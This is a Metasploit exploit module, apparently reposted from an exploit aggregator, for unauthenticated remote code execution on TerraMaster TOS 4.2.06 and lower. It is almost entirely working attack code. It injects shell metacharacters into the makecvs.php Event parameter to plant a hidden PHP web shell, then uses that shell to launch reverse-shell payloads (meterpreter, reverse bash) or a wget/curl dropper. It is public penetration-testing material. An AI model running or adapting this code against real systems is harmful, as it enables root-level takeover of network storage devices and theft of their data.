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## https://sploitus.com/exploit?id=1337DAY-ID-38777
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06
and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`
during CSV creation.
Any unauthenticated user can therefore execute commands on the system under the same privileges as the
web application, which typically runs under root at the TerraMaster Operating System.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'IHTeam' # Discovery
],
'References' => [
['CVE', '2020-35665'],
['CVE', '2020-28188'],
['PACKETSTORM', '160685'],
['PACKETSTORM', '160687'],
['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'],
['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665']
],
'DisclosureDate' => '2020-12-12',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8181,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']),
OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]),
OptEnum.new('COMMAND',
[true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])
])
end
def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s)
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)
# Upload PHP payload
webshell = if target['Type'] == :php
"http|echo \"<?php @eval(base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"
else
"http|echo \"<?=\\$_GET[\'#{@get_param}\'](base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"
end
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'include', 'makecvs.php'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'Event' => webshell.to_s
}
})
end
def get_terramaster_info
# get Terramaster CPU architecture (X64 or ARM64) and TOS version
@terramaster = {}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')
})
if res && res.body && res.code == 200
# get the version information from the request response like below:
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>
return if res.body.match(/ver=.+?"/).nil?
version = res.body.match(/ver=.+?"/)[0]
# check if architecture is ARM64 or X64
if version.match(/_A/)
@terramaster['cpu_arch'] = 'ARM64'
elsif version.match(/_S/) || version.match(/_Q/)
@terramaster['cpu_arch'] = 'X64'
else
@terramaster['cpu_arch'] = 'UNKNOWN'
end
# strip TOS version number and remove trailing double quote.
@terramaster['tos_version'] = version.split('.0_')[1].chop
end
end
def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end
def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = datastore['COMMAND']
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end
def check
get_terramaster_info
return CheckCode::Safe if @terramaster.empty?
if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06')
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
else
return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
end
end
def exploit
res = upload_webshell
fail_with(Failure::UnexpectedReply, 'Web shell upload error.') if res.nil? || (res.code != 200)
register_file_for_cleanup(@webshell_name.to_s)
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager(linemax: 65536)
end
end
end